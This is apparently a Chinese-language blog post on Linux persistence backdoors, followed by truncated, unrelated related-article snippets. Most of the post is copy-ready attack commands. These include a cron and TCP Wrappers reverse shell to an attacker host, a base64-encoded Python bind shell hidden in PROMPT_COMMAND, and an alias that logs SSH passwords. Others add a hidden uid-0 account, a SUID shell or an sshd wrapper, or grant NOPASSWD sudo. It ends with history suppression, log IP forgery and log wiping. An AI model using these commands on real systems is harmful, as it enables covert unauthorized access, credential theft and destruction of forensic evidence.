linux持久化

2023-05-16

linux持久化后门

      • 添加超级用户
      • SUID shell
      • alias 后门
      • inetd
      • crontab后门
      • ssh公钥免密
      • ssh软连接
      • SSH wrapper后门
      • PAM
      • 隐身登录
      • 隐藏文件
      • Git hooks
      • PROMPT_COMMAND后门
      • PROMPT_COMMAND提权
      • Sudoers “trick”
      • TCP Wrappers
      • 进程注入
    • 其他一些小技巧
      • bash去掉history记录
      • 修改上传文件时间戳
      • 伪造Apache日志中的指定IP
      • Linux日志清除

添加超级用户

echo "user:x:0:0::/:/bin/sh" >> /etc/passwd

使用命令查看用户

cat etc/passwd

如果系统不允许uid=0的用户远程登录,可以增加一个普通用户账号

echo "user::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

SUID shell

Suid shell是一种可用于以拥有者权限运行的shell,如果拥有者是root
那么任何运行了这个shell的用户便可以控制整个系统,如增加用户、修改root口令、清除日志等等。

root权限下执行

cp /bin/bash  /.test
chmod 4755 /.test

这个放的目录要尽可能隐蔽,最好是子子子目录然后找一个相似的命名。

切换普通用户

/.test

不过bash2针对suid做了一些措施 加个参数就行

/.test -p

alias 后门

当前用户目录下.bashrc

alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

inetd

修改/etc/inetd.conf

laytime stream tcp nowait root /bin/bash bash -i

然后nc直接连接就好

nc -vv 49.235.xx.xx

还可以配合修改/etc/service 改为常用端口隐藏

laytime  8081/tcp #backdoor

crontab后门

redis未授权访问也是利用这个,我们可以设置每隔一段时间反弹一次shell

(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

分析

echo '*/60 * * * *'

crontab格式 每隔60分钟执行一次

exec 9<>/dev/tcp/127.0.0.1/8888

以读写方式打开/dev/tcp,并指定服务器名为:127.0.0.1(攻击机) 端口号为:8888,指定描述符为9

要注意的是:/dev/tcp本身是不存在的,在/dev目录下是找不到的

exec 0<&9;exec 1>&9 2>&1;

linux 三个基本文件描述符 0:stdin 1:stdout 2:stderr

n >&m 表示使文件描述符n成为描述符m的副本

exec 0<&9;   将fd9从定向到标准输入;

exec 1>&9 2>&1;   将标准输出从定向到文件fd9,将标准错误从定向到标准输出.

简单的理解为fd9=fd0 fd1=fd9 所以我的理解是,fd9从标准输入读入字符,处理后结果用标准输出输出.

/bin/bash --noprofile -i

打开一个shell

ssh公钥免密

ssh-keygen -t rsa

把自己本地生成的公钥id_rsa.pub传到目标服务器

chmod 600 ~/.ssh/authorized_keys

chmod 700 ~/.ssh

ssh软连接

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

直接ssh连接5555端口就行,密码随便输入。但是有些限制了root不许远程登录不能指定root用户

SSH wrapper后门

cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

连接

socat STDIO TCP4:target_ip:22,sourceport=13377

PAM

https://github.com/litsand/shell/blob/master/pam.sh

隐身登录

隐身登录系统,不会被last who w等指令检测到

ssh -T username@host /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@host 
/bin/bash -if

隐藏文件

方法一
比如创建一个名字开头带 . 的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行。(查看方法:ls -a)

touch .webshell.php 创建名字为 .webshell.php 的文件
mkdir .backdoor/ 创建名字为 .backdoor 的文件夹

终极方法
在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。
是文件的话浏览器访问直接输 … 就行,目录同理。

touch … 创建名字为 … 的文件
mkdir … 创建名字为 … 的文件夹

Git hooks

echo "xterm -display <attacker IP>:1 &" > .git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
Xnest:1

当更新git的时候会触发:

git commit -am "Test"

PROMPT_COMMAND后门

bash提供了一个环境变量PROMPT_COMMAND,这个变量会在你执行命令前执行一遍。

一般运维人员都将用来记录每个用户执行命令的时间ip等信息。
每执行一个命令之前都会调用这个变量将你操作的命令记录下来。

export PROMPT_COMMAND='{ date "+[ %Y%m%d %H:%M:%S `whoami` ] `history 1 | { read x cmd; echo "$cmd      from ip:$SSH_CLIENT   $SSH_TTY"; }`"; }&gt;&gt; /home/pu/login.log'

使用

export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c "exec('aW1wb3J0IHNvY2tldCxvcyxzeXMKcz1zb2NrZXQuc29ja2V0KCkKcy5iaW5kKCgiIiwxMDI1KSkKcy5saXN0ZW4oMSkKKGMsYSk9cy5hY2NlcHQoKQp3aGlsZSAxOgogZD1jLnJlY3YoNTEyKQogaWYgJ2V4aXQnIGluIGQ6CiAgcy5jbG9zZSgpCiAgc3lzLmV4aXQoMCkKIHI9b3MucG9wZW4oZCkucmVhZCgpCiBjLnNlbmQocikK'.decode('base64'))" 2>/dev/null &)"

解密

import socket,os,sys 
s=socket.socket() 
s.bind(("",1025)) 
s.listen(1) 
(c,a)=s.accept() 
while 1: 
	d=c.recv(512) 
	if 'exit' in d:  
		s.close()  
		sys.exit(0) 
	r=os.popen(d).read() 
	c.send(r)

python socks监听命令

NC连接

nc 192.168.1.174 1025

PROMPT_COMMAND提权

这个要求管理员有su的习惯,我们可以通过它来添加一个id=0的用户

export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"

除此之外可以利用script记录某人行为:
基本用法:

script -t 2>demo.time -a demo.his 记录保存为录像
scriptreplay demo.time demo.his 播放记录

用户家目录下,修改环境变量,使得用户登录就会触发录像

vi ~/.profile
script -t -f -q 2>/wow/$USER-$UID-`date +%Y%m%d%H%M%S`.time -a /wow/$USER-$UID-`date +%Y%m%d%H%M%S`.his

Sudoers “trick”

其实Sudoers并不算后门,是一个Linux用户控制权限
通过root权限改写对普通用户可执行root命令

sudo su -c "echo 'user ALL = NOPASSWD: ALL' >> /etc/sudoers.d/README"

https://segmentfault.com/a/1190000007394449

TCP Wrappers

TCP_Wrappers是一个工作在应用层的安全工具,它只能针对某些具体的应用或者服务起到一定的防护作用。比如说ssh、telnet、FTP等服务的请求,都会先受到TCP_Wrappers的拦截。

TCP_Wrappers有一个TCP的守护进程叫作tcpd。以telnet为例,每当有telnet的连接请求时,tcpd即会截获请求,先读取系统管理员所设置的访问控制文件,合乎要求,则会把这次连接原封不动的转给真正的telnet进程,由telnet完成后续工作;如果这次连接发起的ip不符合访问控制文件中的设置,则会中断连接请求,拒绝提供telnet服务。

ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/<Attack IP>/443 0>&1") & :allow

ssh访问目标主机ssh qweqwe@192.168.4.100触发后门

进程注入

cymothoa进程注入后门

./cymothoa -p 1014 -s 0 -y 8888

https://github.com/jorik041/cymothoa

其他一些小技巧

bash去掉history记录

export HISTSIZE=0
export HISTFILE=/dev/null

修改上传文件时间戳

touch -r 老文件时间戳 新文件时间戳

伪造Apache日志中的指定IP

sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/ access.log
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/error_log

Linux日志清除

首先是Apache日志,Apache主要的日志就是access.log``error_log,前者记录了HTTTP的访问记录,后者记录了服务器的错误日志。根据Linux的配置不同和Apache的版本的不同,文件的放置位置也是不同的,不过这些都可以在httpd.conf中找到。

对于明文的Apache文件,通过正则表达式就可以搞定:
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.logsed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log
其中192.168.1.3是我们的IP,192.168.1.4使我们伪造的IP。
在正则表达式中有特殊的含义,所以需要用“”来进行转义。

MySQL日志文件
log-error=/var/log/mysql/mysql_error.log #错误日志
log=/var/log/mysql/mysql.log#最好注释掉,会产生大量的日志,包括每一个执行的sql及环境变量的改变等等
log-bin=/var/log/mysql/mysql_bin.log # 用于备份恢复,或主从复制.这里不涉及。
log-slow-queries=/var/log/mysql/mysql_slow.log #慢查询日志
log-error=/var/log/mysql/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid

sed –i 's/192.168.1.3/192.168.1.4/g'/var/log/mysql/mysql_slow.log

至于二进制日志文件,需要登录mysql client来修改删除,建议这种操作最先执行。

php日志修改
sed –i 's/192.168.1.3/192.168.1.4/g'/var/log/apache/php_error.log
最后就是Linux的日志文件了,这个比较多,记录的也比较复杂,我的环境是CentOS 6.3。我现在只把和渗透有关的文件列出来,主要在/etc/logrotate.d/syslog

/var/log/maillog,该日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动,它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系统

var/log/messages,该文件的格式是每一行包含日期、主机名、程序名,后面是包含PID或内核标识的方括号,一个冒号和一个空格

/var/log/wtmp,该日志文件永久记录每个用户登录、注销及系统的启动,停机的事件。该日志文件可以用来查看用户的登录记录,last命令就通过访问这个文件获得这些信息,并以反序从后向前显示用户的登录记录,last也能根据用户,终端tty或时间显示相应的记录

/var/run/utmp,该日志文件记录有关当前登录的每个用户的信息,因此这个文件会随着用户登录和注销系统而不断变化,它只保留当时联机的用户记录,不会为用户保留永久的记录。系统中需要查询当前用户状态的程序,如who、w、users、finger等就需要访问这个文件

/var/log/xferlog,该日志文件记录FTP会话,可以显示出用户向FTP服务器或从服务器拷贝了什么文件。该文件会显示用户拷贝到服务器上的用来入侵服务器的恶意程序,以及该用户拷贝了哪些文件供他使用。

bash_history,这是bash终端的命令记录,能够记录1000条最近执行过的命令(具体多少条可以配置),通过这个文件可以分析此前执行的命令来知道知否有入侵者,每一个用户的home目录里都有这么一个文件

清除脚本:
https://github.com/JonGates/jon

参考文章:

我所了解的渗透测试——Linux后门类型 - 安全客,安全资讯平台 (anquanke.com)

https://www.slideshare.net/ulissescastro/50-ton-of-backdoors?from_action=save

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

linux持久化 的相关文章

  • Nasm 打印到下一行

    我用 nasm Assembly 编写了以下程序 section text global start start Input variables mov edx inLen mov ecx inMsg mov ebx 1 mov eax 4
  • Mono 和 WebRequest 速度 - 测试

    在 mono 4 6 2 linux 中 我注意到 wget 下载文件的速度与webclient DownloadString 所以我做了一个小测试来调查 为什么 wget 明显比 C 快 根据我自己的实验 使用 wget 下载 手动读取文
  • Alsa 带有来自调制解调器的 PCM 接口

    我有一个基于 imx28 CPU 的定制板 CPU 的串行端口连接到调制解调器的 PCM 输出 我必须为调制解调器的 PCM 接口开发一个驱动程序 使其成为 ALSA SoC 的一部分 您能指出内核树 中与我的设置重新组合的一些驱动程序吗
  • 如何删除树莓派的相机预览

    我在我的 raspberryPi 上安装了 SimpleCv 并安装了用于使用相机板的驱动程序 uv4l 驱动程序 现在我想使用它 当我在 simpleCV shell Camera 0 getImage save foo jpg 上键入时
  • 为什么使用Python的os模块方法而不是直接执行shell命令?

    我试图了解使用Python的库函数执行特定于操作系统的任务 例如创建文件 目录 更改文件属性等 背后的动机是什么 而不是仅仅通过执行这些命令os system or subprocess call 例如 我为什么要使用os chmod而不是
  • xdotool 类型需要很长时间并导致整个桌面冻结

    我一直在使用xdotool type过去只能在快捷方式上输入耸肩xdotool type 这可行 但总是需要相当长的时间 并导致整个桌面冻结 完全冻结 而不仅仅是输入 几秒钟 不过并没有太打扰我 现在我需要一种方法来从文件中读取内容 对其进
  • 使用 sed 将 old-link-url 替换为 new-link-url

    我正在 bash 中编写一个脚本 将 old link url 替换为 new link url 我的问题是 sed 由于斜杠而无法替换 url 如果我只输入一些文字就可以了 my code sed e s old link new lin
  • 原生 Linux 应用程序可像 ResHacker 一样编辑 Win32 PE

    我想运行自动修改 dll服务 用户提交特定的 dll 我在服务器上修改它 然后用户可以下载 dll的修改版本 是否有任何本机 Linux 应用程序提供常见的 Win32 PE 修改功能 例如图标 字符串 加速器 对话等 至少提供命令行或脚本
  • /proc/PID 文件格式

    我想从中检索一些流程信息 proc目录 我的问题如下 中的文件是否有标准格式 proc PID 例如 有这个proc PID status文件与Name t ProcName在第一行 我可以在其他地方用空格代替这个文件吗 t或者类似的东西
  • 是否有可能通过 mmap 匿名内存“打孔”?

    考虑一个使用大量大致页面大小的内存区域 例如 64 kB 左右 的程序 每个内存区域的寿命都相当短暂 在我的特定情况下 这些是绿色线程的替代堆栈 如何最好地分配这些区域 以便一旦该区域不再使用 它 们的页面可以返回到内核 天真的解决方案显然
  • 使用脚本自动输入 SSH 密码

    我需要创建一个自动向 OpenSSH 输入密码的脚本ssh client 假设我需要通过 SSH 进入myname somehost用密码a1234b 我已经尝试过 bin myssh sh ssh myname somehost a123
  • linux下如何获取昨天和前天?

    我想在变量中获取 sysdate 1 和 sysdate 2 并回显它 我正在使用下面的查询 它将今天的日期作为输出 bin bash tm date Y d m echo tm 如何获取昨天和前天的日期 这是另一种方法 对于昨天来说 da
  • 我应该使用哪个 Linux 发行版作为 Xen 主机? [关闭]

    Closed 这个问题是基于意见的 help closed questions 目前不接受答案 我为家庭办公室订购了一台服务器 我想用 Xen 对其进行分区 我认为这将使事情保持干净并且更容易维护 我将运行 MySQL PostgreSQL
  • Linux、ARM:为什么仅当启动时存在 I2C GPIO 扩展器时才创建 gpiochip

    在 imx6sx 硬件平台 NXP 嵌入式 ARM 上使用 Linux 3 14 52 问题是设备树中指定的 PCF8575 I2C GPIO 扩展器不会实例化为 sys class gpio 结构中的设备 除非它们在内核启动期间存在 这些
  • 错误:NVIDIA-SMI 失败,因为无法与 NVIDIA 驱动程序通信

    NVIDIA SMI 抛出此错误 NVIDIA SMI 失败 因为无法与 NVIDIA 通信 司机 确保安装了最新的 NVIDIA 驱动程序并且 跑步 我清除了 NVIDIA 并按照提到的步骤重新安装了它here https askubun
  • Linux命令列出所有可用命令和别名

    是否有一个 Linux 命令可以列出该终端会话的所有可用命令和别名 就好像您输入 a 并按下 Tab 键一样 但针对的是字母表中的每个字母 或者运行 别名 但也返回命令 为什么 我想运行以下命令并查看命令是否可用 ListAllComman
  • 在 shell 脚本中查找和替换

    是否可以使用 shell 在文件中搜索然后替换值 当我安装服务时 我希望能够在配置文件中搜索变量 然后在该值中替换 插入我自己的设置 当然 您可以使用 sed 或 awk 来完成此操作 sed 示例 sed i s Andrew James
  • Linux 上的 Python 3.6 tkinter 窗口图标错误

    我正在从 Python GUI 编程手册 学习 Python GUI 某项任务要求我通过将以下代码添加到我的配方中来更改窗口图标 Change the main windows icon win iconbitmap r C Python3
  • touch命令在一个目录下创建多个文件(不同名称)

    我想制作一个在 bash 中创建目录和文件结构的脚本 我尝试过这样的事情 mkdir p 1 2 touch 1 2 a b c a b c 应该是在一个命令或其他命令中创建的文件 但由于某种原因 结构是这样的 current folder
  • 将数组传递给函数名称冲突

    Specs GNU bash 版本 3 1 17 无法升级 Premise 我一直在摆弄数组 我想知道是否有任何方法可以让函数的本地变量与所述函数外部的数组同名 Example 在下面的示例中 我将尝试显示该问题 Working bin b

随机推荐

  • Ubuntu20.04 服务器版本 命令学习

    1 vim使用 sudo vim 文件名 按a或i进入编辑模式 按两次Esc进入命令模式 输入 xff1a wq 保存退出 输入 xff1a q xff01 退出 2 apt使用 查看更新 sudo apt update 执行更新 sudo
  • 地平线旭日X3派(一)系统配置

    一 SSH登录 1 1 串口配置 43 串口登录 1 1 1无线网络配置 1 2 SSH登录 1 3 修改文件 用vim 1 4 安装togetherROS 1 4 1 安装ROS2 foxy 安装基础功能包 sudo apt instal
  • 关于UDP的普通C/S模型、广播C/S模型以及组播C/S模型

    简述 xff1a UDP与TCP一个主要的区别就是客户端与服务器之间不需要建立连接 xff0c 即不经历三次握手过程 只需要主动发送数据的一方确定接收数据的一方的地址信息 xff08 IP地址 43 端口号 xff09 xff0c 可以这么
  • 里程计(一) 数学模型及STM32实现

    一 首先确保接线和硬件没问题 xff0c 并确定控制逻辑 测试单片机 驱动板 L298N 电机连线是否接通 xff1a 控制板IN1 IN2一个接3 3V一个接GND ENA默认使能 xff1b 控制板IN3 IN4一个接3 3V一个接GN
  • 关于Keil在stm32编写库函数时头文件找不到的解决方法

    最近在自主学习stm32时遇到了fatal error xff1a h files not found xff0c 总结了一下自己的解决方法 1 首先检查在add files有没有选择all files xff0c 如果默认选择source
  • bypassuac的学习

    什么是UAC 为什么要绕过他MSF自带的bypassuac模块 在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的 为什么要绕过他 为了远程执行目标的exe或者bat可执行文件绕过此安全机制 xf
  • thinkphp3.2.3学习(1)

    thinkphp3 2 3学习 xff08 1 xff09 MVC结构 MVC结构 M gt model数据模型 V gt view识图 C gt controller控制器 lt php return array 39 配置项 39 61
  • thinkphp3.2.3学习(2)

    thinkphp3 2 3学习 xff08 2 xff09 如何读取配置文件路由四种url模式url的设置 函数控制器绑定参数url生成跳转页面重定向输入变量 如何读取配置文件 使用C函数 C 属性名 xff1b 动态配置 C 属性名 xf
  • xdebug下载与配置,有这一篇就够了

    xdebug下载与配置 xff0c 有这一篇就够了 xdebug下载与配置环境步骤一步骤二步骤三步骤四步骤五遇到的问题解决方案第一个坑第二个坑第三个坑 下面是我的xdebug的配置 xdebug下载与配置 下载xdebug的地方https
  • windows下3389端口开启和连接

    windows下3389端口开启和连接 开启3389的命令关闭防火墙的命令添加用户添加到管理员组特殊情况 netstat ano 查看端口开放情况 开启3389的命令 REG ADD HKLM SYSTEM CurrentControlSe
  • ssrf绕过

    ssrf绕过 当涉及到SSRF xff08 服务器端请求伪造 xff09 时 xff0c 可以使用以下5种有效负载绕过防御 xff1a 1 xff09 使用CIDR绕过SSRF xff1a http 127 127 127 127 http
  • 测试点的payload

    一些测试点的payload xff0c 后续继续补充 电子邮件地址图片名字 电子邮件地址 以下payload都是有效的电子邮件地址 XSS xff08 跨站脚本 xff09 xff1a test 43 lt script gt alert
  • Jetson Nano GPIO使用、四种模式以及串口解释

    参考 xff1a http www waveshare net study portal php mod 61 view amp aid 61 882https www jianshu com p f98a69b94debhttps blo
  • 一些权限的绕过

    一些权限的绕过 URI绕过后台URI绕过403 URI绕过后台 这是通过以下方式URI来访问后台的技巧 xff1a https target com admin gt HTTP 302 xff08 重定向到登录页面 xff09 https
  • redis的安装以及漏洞学习

    redis的安装以及漏洞学习 redis的安装redis的基本命令redis的一些漏洞redis未授权redis写入文件redis计划任务反弹shell写ssh公钥登录redis主从以上提到的这些漏洞 xff0c 都是基于未授权访问 red
  • python批量检测域名和url能否打开

    python批量检测域名和url能否打开 python批量检测域名和url能否打开批量在浏览器中打开url或者域名总结 最近在挖src xff0c 然后有大量的域名 xff0c 而且大部分打不开 xff0c 所以就很浪费时间 xff0c 写
  • Failed to restart network.service: Unit network.service not found.

    解决 Failed to restart network service Unit network service not found 输入命令时遇到了问题 span class token function service span ne
  • nginx的启动,停止

    nginx的启动 xff0c 停止 启动启动代码格式 nginx的停止有三种方式 xff1a 从容停止快速停止强制停止 验证nginx配置文件是否正确方法一 xff1a 进入nginx安装目录sbin下 xff0c 输入命令 nginx t
  • 虚拟机连不上网解决办法,以及出现Ubuntu connect: Network is unreachable

    虚拟机连不上网解决办法 xff0c 以及出现Ubuntu connect Network is unreachable 问题来源具体过程 问题来源 出现了Ubuntu connect Network is unreachable这个问题 x
  • linux持久化

    linux持久化后门 添加超级用户SUID shellalias 后门inetdcrontab后门ssh公钥免密ssh软连接SSH wrapper后门PAM隐身登录隐藏文件Git hooksPROMPT COMMAND后门PROMPT CO